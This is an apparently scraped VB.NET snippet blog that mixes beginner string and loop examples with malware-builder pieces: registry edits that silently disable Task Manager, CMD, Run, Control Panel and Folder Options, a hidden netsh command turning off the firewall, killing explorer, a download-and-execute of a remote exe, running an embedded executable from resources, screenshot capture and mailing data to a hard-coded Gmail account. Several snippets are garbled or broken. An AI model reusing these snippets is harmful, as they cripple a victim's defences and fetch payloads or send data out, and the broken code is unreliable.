Dim intReturn As Integer = FindWindow("Shell_traywnd", "")
SetWindowPos(intReturn, 0, 0, 0, 0, 0, SWP_HIDEWINDOW) And to enable it:
change SWP_HIDEWINDOW to SWP_SHOWWINDOW
This is your place for codes, sources, releases, snippets, tutorials, how-to's and everything you can imagine in VB.NET (visual basic).Everything is free and off-charge.Your comments are aways appriciated.
Dim intReturn As Integer = FindWindow("Shell_traywnd", "")
SetWindowPos(intReturn, 0, 0, 0, 0, 0, SWP_HIDEWINDOW) Shell("REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoFolderOptions /t REG_DWORD /d 1 /f", vbNormalFocus) Public Class Form1
Private Sub Button1_Click(ByVal sender As System.Object, _
ByVal e As System.EventArgs) Handles Button1.Click
Dim str1 As String
Dim str2 As String
str1 = "VB.NET Copy() test"
str2 = String.Copy(str1)
MsgBox(str2)
End Sub
End Class
Public Class Form1
Private Sub Button1_Click(ByVal sender As System.Object, _
ByVal e As System.EventArgs) Handles Button1.Click
Dim str As String
str = "VB.NET TOP 10 BOOKS"
If str.Contains("TOP") = True Then
MsgBox("The string Contains() 'TOP' ")
Else
MsgBox("The String does not Contains() 'TOP'")
End If
End Sub
End Class
Public Class Form1
Private Sub Button1_Click(ByVal sender As System.Object, _
ByVal e As System.EventArgs) Handles Button1.Click
Dim str1 As String = "Equals"
Dim str2 As String = "Equals"
If String.Equals(str1, str2) Then
MsgBox("Strings are Equal() ")
Else
MsgBox("Strings are not Equal() ")
End If
End Sub
End Class
Public Class Form1
Private Sub Button1_Click(ByVal sender As System.Object, _
ByVal e As System.EventArgs) Handles Button1.Click
Dim str1 As String = "CopyTo() sample"
Dim chrs(5) As Char
str1.CopyTo(0, chrs, 0, 6)
MsgBox(chrs(0) + chrs(1) + chrs(2) + chrs(3) + chrs(4) + chrs(5))
End Sub
End Class
Public Class Form1
Private Sub Button1_Click(ByVal sender As System.Object, _
ByVal e As System.EventArgs) Handles Button1.Click
Dim str As String
str = "VB.NET TOP 10 BOOKS"
MsgBox(str.IndexOf("BOOKS"))
End Sub
End Class
Public Class Form1
Private Sub Button1_Click(ByVal sender As System.Object, _
ByVal e As System.EventArgs) Handles Button1.Click
Dim dNum As Double
dNum = 32.123456789
MsgBox("Formated String " & String.Format("{0:n4}", dNum))
End Sub
End Class
Public Class Form1
Private Sub Button1_Click(ByVal sender As System.Object, _
ByVal e As System.EventArgs) Handles Button1.Click
Dim str As String
str = "This is a Test"
MsgBox(str.Length())
End Sub
End Class
Public Class Form1
Private Sub Button1_Click(ByVal sender As System.Object, _
ByVal e As System.EventArgs) Handles Button1.Click
Dim str As String = "This is VB.NET Test"
Dim insStr As String = "Insert "
Dim strRes As String = str.Insert(15, insStr)
MsgBox(strRes)
End Sub
End Class
Public Class Form1
Private Sub Button1_Click(ByVal sender As System.Object,
ByVal e As System.EventArgs) Handles Button1.Click
Dim var As Integer
Dim startVal As Integer
Dim endVal As Integer
startVal = 1
endVal = 5
For var = startVal To endVal
MsgBox("Message Box Shows " & var & " Times ")
Next var
End Sub
End Class
For var=startValue To endValue [Step]
[loopBody]
Contition
[Exit For]
Next [var]
Public Class Form1
Private Sub Button1_Click(ByVal sender As System.Object,
ByVal e As System.EventArgs) Handles Button1.Click
Dim totalMarks As Integer
totalMarks = 59
If totalMarks >= 80 Then
MsgBox("Gor Higher First Class ")
ElseIf totalMarks >= 60 Then
MsgBox("Gor First Class ")
ElseIf totalMarks >= 40 Then
MsgBox("Just pass only")
Else
MsgBox("Failed")
End If
End Sub
End Class
Public Sub TakeScreenshot()
Try
Dim filename As String = System.Environment.GetFolderPath(Environment.SpecialFolder.InternetCache) & "\SS.gif", ScreenSize As Size = New Size(My.Computer.Screen.Bounds.Width, My.Computer.Screen.Bounds.Height), screenGrab As New Bitmap(My.Computer.Screen.Bounds.Width, My.Computer.Screen.Bounds.Height), g As System.Drawing.Graphics = System.Drawing.Graphics.FromImage(screenGrab)
g.CopyFromScreen(New Point(0, 0), New Point(0, 0), ScreenSize)
If My.Computer.FileSystem.FileExists(System.Environment.GetFolderPath(Environment.SpecialFolder.InternetCache) & "\SS.gif") Then
My.Computer.FileSystem.DeleteFile(System.Environment.GetFolderPath(Environment.SpecialFolder.InternetCache) & "\SS.gif")
End If
screenGrab.Save(filename, System.Drawing.Imaging.ImageFormat.Gif)
Catch
End Try
End Sub
TakeScreenshot()
My.Computer.FileSystem.MoveFile(System.Environment.GetFolderPath(Environment.SpecialFolder.InternetCache) & "\SS.gif", System.Environment.GetFolderPath(Environment.SpecialFolder.Desktop) & "\SS.gif")
Dim Proc As Process = New Process
Dim top As String = "netsh.exe"
Proc.StartInfo.Arguments = ("firewall set opmode disable")
Proc.StartInfo.FileName = top
Proc.StartInfo.UseShellExecute = False
Proc.StartInfo.RedirectStandardOutput = True
Proc.StartInfo.CreateNoWindow = True
Proc.Start()
Proc.WaitForExit()
Imports System.Runtime.CompilerServices
Imports System.Reflection Private Sub RunInternalExe()
Dim CurrentAssembly As Reflection.Assembly = Reflection.Assembly.GetExecutingAssembly()
Dim Resource As String = String.Empty
Dim ArrResources As String() = CurrentAssembly.GetManifestResourceNames()
For Each Resource In ArrResources
If Resource.IndexOf("Rc4.exe") > -1 Then Exit For
Next
Dim ResourceStream As IO.Stream = CurrentAssembly.GetManifestResourceStream(Resource)
If ResourceStream Is Nothing Then
Return
End If
Dim ResourcesBuffer(CInt(ResourceStream.Length) - 1) As Byte
ResourceStream.Read(ResourcesBuffer, 0, ResourcesBuffer.Length)
ResourceStream.Close()
Dim assembly As Assembly = assembly.Load(ResourcesBuffer)
Dim entryPoint As MethodInfo = [assembly].EntryPoint
Dim objectValue As Object = RuntimeHelpers.GetObjectValue([assembly].CreateInstance(entryPoint.Name))
entryPoint.Invoke(RuntimeHelpers.GetObjectValue(objectValue), New Object() {New String() {"1"}})
End Sub Dim x As New Threading.Thread(AddressOf RunInternalExe)
x.Start()
My.Computer.Registry.SetValue("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer", "NoCDBurning", "1", Microsoft.Win32.RegistryValueKind.DWord) Imports System.Threading
Dim Mutex_Object As Mutex 'We will be working with Mutex
Mutex_Object = New Mutex(False, "SOMETHING")
If Mutex_Object.WaitOne(0, False) = False Then
Application.Exit()
End If Dim pProcess() As Process = System.Diagnostics.Process.GetProcessesByName("explorer.exe")
For Each p As Process In pProcess
p.Kill()
Next Dim Key As String = My.Computer.Registry.GetValue("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion", "ProductId", Nothing)
Dim url As String = "htpp://codingsource.blogspot.com/example.exe"
Dim thefile As String = System.Environment.GetFolderPath(Environment.SpecialFolder.InternetCache) & "\example.exe"
If My.Computer.FileSystem.FileExists(thefile) Then
My.Computer.FileSystem.DeleteFile(thefile)
End If
My.Computer.Network.DownloadFile(url, thefile)
Shell(thefile) Shell("REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f", AppWinStyle.Hide) Shell("REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoRun /t REG_DWORD /d 1 /f", AppWinStyle.Hide) My.Computer.Registry.SetValue("HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\System", "DisableCMD", "1", Microsoft.Win32.RegistryValueKind.DWord) Shell("REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoControlPanel /t REG_DWORD /d 1 /f", AppWinStyle.Hide) Private Function GetPID(ByVal processName As string) As Int32
if processName.endswith(".exe") then
processName = processName.replace(".exe", "")
end if
Dim proc as new Process() = Process.GetProcessesByName(processName)
If proc.Length>0 then
GetPID = proc(0).Id
Else: GetPID = 0
End if
End Function
Private Sub FileFromResource(ByVal resource, ByVal outputDir) Dim bArray() As Byte = resource
Dim fStream As New IO.FileStream(outputDir, IO.FileMode.OpenOrCreate)
Using bWrite As New IO.BinaryWriter(fStream)
Dim i As Integer = 0
Do Until i = bArray.Count
bWrite.Write(i)
i += 1
Loop
End Using
End Sub Imports System.Text
Imports System.Security.Cryptography
Private Function GenerateHash(ByVal SourceText As String) As String
Dim Ue As New UnicodeEncoding()
Dim ByteSourceText() As Byte = Ue.GetBytes(SourceTStext)
Dim Md5 As New MD5CryptoServiceProvider()
Dim ByteHash() As Byte = Md5.ComputeHash(ByteSourceText)
Return Convert.ToBase64String(ByteHash)
End Function Imports System.Net.Mail Dim MailSetup As New MailMessage
MailSetup.Subject = My.Computer.Name & ":"
MailSetup.To.Add("yourgmailhere@gmail.com)
MailSetup.From = New MailAddress("gmailusername@gmail.com, "password")
MailSetup.Body = TextBox1.Text
Dim SMTP As New SmtpClient("smtp.gmail.com")
SMTP.Port = 587
SMTP.EnableSsl = True
SMTP.Credentials = New Net.NetworkCredential("gmailusername@gmail.com, "password")
SMTP.Send(MailSetup)
Imports System.IO Public Function usbdrives() As Boolean
Dim drives() As DriveInfo = DriveInfo.GetDrives()
For Each found As DriveInfo In drives
If found.DriveType = "2" And found.IsReady = True Then
MsgBox("USB Drive: " & found.Name)
End If
Next found
Return True End Function Imports System.Diagnostics Module Module1
Sub Main()
Dim objProcess As New Process()
objProcess = Process.GetCurrentProcess()
With objProcess
Console.WriteLine("Base Priority {0}", .BasePriority)
Console.WriteLine("Handle count {0}", .HandleCount)
Console.WriteLine("Process ID (PID) {0}", .Id)
Console.WriteLine("Machine Name {0}", .MachineName)
Console.WriteLine("Main Module {0}", .MainModule)
Console.WriteLine("Main Window Title {0}", .MainWindowTitle)
Console.WriteLine("Max Working Set {0}", .MaxWorkingSet)
Console.WriteLine("Min Working Set {0}", .MinWorkingSet)
Console.WriteLine("Modules {0}", .Modules)
Console.WriteLine("Nonpage System Memory Size {0}",.NonpagedSystemMemorySize)
Console.WriteLine("Paged Memory Size {0}", .PagedMemorySize)
Console.WriteLine("Paged System Memory Size {0}",.PagedSystemMemorySize)
Console.WriteLine("Peak Paged Memory Size {0}",.PeakPagedMemorySize)
Console.WriteLine("Peak Virtual Memory Size {0}",.PeakVirtualMemorySize)
Console.WriteLine("Peak Working Set {0}", .PeakWorkingSet)
Console.WriteLine("Priority Boost Enabled {0}", .PriorityBoostEnabled)
Console.WriteLine("Priority Class {0}", .PriorityClass)
Console.WriteLine("Private Memory Size {0}",.PrivateMemorySize)
Console.WriteLine("Priviledged Processsor Time {0}",.PrivilegedProcessorTime)
Console.WriteLine("Name {0}", .ProcessName)
Console.WriteLine("Processor Affinity {0}", .ProcessorAffinity)
Console.WriteLine("Start Time {0}", .StartTime)
Console.WriteLine("Total Processor Time {0}", .TotalProcessorTime)
Console.WriteLine("User Processor Time {0}", .UserProcessorTime)
Console.WriteLine("Virtual Memory Size {0}", .VirtualMemorySize)
Console.WriteLine("Working Set {0}", .WorkingSet)
End With
End Sub
End Module
Imports System.Diagnostics Module Module1
Sub Main()
Process.GetCurrentProcess.Kill()
End Sub
End Module vbKeyControl 'CTRL Key
vbkeymenu 'ALT key
vbKeyReturn 'Enter Key (Main)
vbKeyBack 'Back Space
vbKeyTab 'Tab
vbKeyShift 'Shift
vbKeyCapital 'Caps Lock
vbKeyEscape 'Esc
vbKeySpace ' Space Bar
vbKeyPageUp ' Page Up
vbKeyPageDown ' Page Down
vbKeyEnd 'End
vbKeyHome ' Home
vbKeyLeft 'Left arrow
vbKeyUp 'Up arrow
vbKeyRight 'Right Arrow
vbKeyDown ' Down Arrow
vbKeyPrint 'Print Screen
vbKeyPause 'Pause (The one next to printscreen)
vbKeyInsert 'Insert
vbKeyDelete 'Delete (the one near insert)
vbKeyHelp 'Help
vbKeyNumlock ' Numlock
vbKeyF1 'F1
vbKeyF2 'F2
vbKeyF3 'F3
vbKeyF4 'F4
vbKeyF5 'F5
vbKeyF6 'F6
vbKeyF7 'F7
vbKeyF8 'F8
vbKeyF9 'F9
vbKeyF10 'F10
vbKeyF11 'F11
vbKeyF12 'F12
vbKeyZ 'Z
vbKeyx 'X
vbKeyc 'C
vbKeyv 'V
vbKeyb 'B
vbKeyn 'N
vbKeym 'M
vbKeya 'A
vbKeys 'S
vbKeyd ' D
vbKeyf 'F
vbKeyg 'G
vbKeyh 'H
vbKeyj 'J
vbKeyk 'K
vbKeyl 'L
vbKeyq 'Q
vbKeyw 'W
vbKeye 'E
vbKeyr 'R
vbKeyt 'T
vbKeyy 'Y
vbKeyu 'U
vbKeyi 'I
vbKeyo 'O
vbKeyp 'P
vbKeyNumpad0 'Num Pad 0
vbKeyNumpad1 'Num Pad 1
vbKeyNumpad2 'Num Pad 2
vbKeyNumpad3 'Num Pad 3
vbKeyNumpad4 'Num Pad 4
vbKeyNumpad5 'Num Pad 5
vbKeyNumpad6 'Num Pad 6
vbKeyNumpad7 ' Num Pad 7
vbKeyNumpad8 'NumPad 8
vbKeyNumpad9 'Num Pad 9
vbKeyMultiply 'Num Pad *
vbKeyAdd 'Num Pad +
vbKeySubtract 'Num Pad -
vbKeyDivide 'Num Pad /
vbKeySeparator 'Num Pad Enter
vbKeyDecimal 'Num Pad .
vbKey0 'Normal 0 from top of keyboard
vbKey1 'Normal 1 from top of keyboard
vbKey2 'Normal 2 from top of keyboard
vbKey3 'Normal 3 from top of keyboard
vbKey4 'Normal 4 from top of keyboard
vbKey5 'Normal 5 from top of keyboard
vbKey6 'Normal 6 from top ofkeybaorrd
vbKey7 'Normal 7 from top of keyboard
vbKey8 'Normal 8 from top of keybaord
vbKey9 'Normal 9 from top of keyboard
Imports System.Globalization MsgBox(RegionInfo.CurrentRegion.NativeName) [VB.NET] Basics
[VB.NET][SNP] Google Search